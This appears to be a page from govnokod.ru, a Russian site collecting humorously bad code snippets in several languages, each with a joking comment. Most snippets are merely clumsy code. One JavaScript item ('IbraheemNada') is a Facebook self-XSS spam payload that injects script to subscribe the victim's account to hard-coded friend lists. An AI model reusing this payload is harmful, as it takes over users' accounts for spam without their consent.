- 1
- 2
- 3
class A {
public String[] newString = new String[0];
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+74
class A {
public String[] newString = new String[0];
}
Пользуйтесь на здоровье :)
+148
/**
* Container for all of your app's parts, which are massively reused
*/
module.exports = {};
В недрах одного из многочисленных фреймворков для nodejs...
+133
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void my_char_plus(const void *a, const void *b, void *c)
{
char tmp = (*(char*)a + *(char*)b);
memcpy(c,(void*)(&tmp),sizeof(char));
}
void my_char_minus(const void *a, const void *b, void *c)
{
char tmp = (*(char*)a - *(char*)b);
memcpy(c,(void*)(&tmp),sizeof(char));
}
void operation(const void *funct(const void*,const void*,void*),
const void *a, const void *b, void *c )
{
funct(a,b,c);
}
char ret_last_arg(const void *funct(const void*,const void*,void*),
const void *a, const void *b)
{
char c;
funct(a,b,(void*)&c);
return c;
}
int main(void)
{
char a, b;
a = 5; b = 7;
void *plus = &my_char_plus; char c;
operation(plus, (const void*)&a, (const void*)&b, (void*)&c);
printf("5 + 7 = %i\n", c);
void *minus = &my_char_minus;
char d = ret_last_arg(minus, (const void*)&a, (const void*)&b);
printf("5 - 7 = %i\n", d);
// LISP LISP LISP
#define LISP(ar,aa,bb) ret_last_arg(ar, (const void*)&(char){aa}, (const void*)&(char){bb} )
char e = LISP(plus,2,LISP(plus,2,2));
printf("(+ 2 (+ 2 2 ) ) = %i\n", e);
return 0;
}
Лиспопрограммирование на сишке через макрос (префиксная запись)
Только оно кривовато тут, т.е. получаем трехадресный код (не как в лиспе)
http://masters.donntu.edu.ua/2006/fvti/svyezhentsev/library/article2.htm
Можно делать интерпретаторы фигни всякой, шитый код. Я упорот короче
+160
function IbraheemNada(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}
IbraheemNada("258964547561641");IbraheemNada("");IbraheemNada("");IbraheemNada("");IbraheemNada("407255766069492");IbraheemNada("");IbraheemNada("");IbraheemNada("");IbraheemNada("384263591702043");IbraheemNada("407256859402716");IbraheemNada("");IbraheemNada("");IbraheemNada("");IbraheemNada("");
Надо, Ибрагим, надо!
+75
return new Integer(((Integer)var).intValue()+1);
Autoboxing? Не, не слышал...
+156
$server = json_decode("{".base64_decode(base64_decode($value))."}");
$name = urldecode($name);
$path = $uploadFolder . DIRECTORY_SEPARATOR . base64_encode(base64_encode($name));
$cont[$i]->reference = base64_encode(htmlspecialchars(stripslashes(base64_decode($cont[$i]->ref)), ENT_QUOTES));
$value = addslashes(stripslashes(htmlspecialchars(preg_replace("/\'/ui", "", $e["value"]))));
Код одного из проектов крупной хостинговой компании.
+143
public static string CapitalizeFirstLetter(this string s)
{
if (String.IsNullOrEmpty(s))
throw new ArgumentException("Stirng is empty");
return s.First().ToString().ToUpper() + String.Join("", s.Skip(1));
}
не ищем легких путей
+133
public static bool In<T>(this T t, params T[] values)
{
return t == null ? values.Any(v => v == null) : values.Contains(t);
}
public static bool NotIn<T>(this T t, params T[] values)
{
return !t.In(values);
}
замечательный экстэншн к object
+71
config.x = Integer.parseInt(json.get("x").toString());
config.y = Integer.parseInt(json.get("y").toString());
Преобразование long в int.
+167
function validateBoolean($bool) {
if ($bool == 'true') {
return '1';
} else if ($bool == 'false') {
return '0';
}
if ($bool == '1') {
return "true";
} else if ($bool == '0'){
return "false";
}
exit("Invalid Boolean Data");
}
вот такое чудо нам передали на поддержку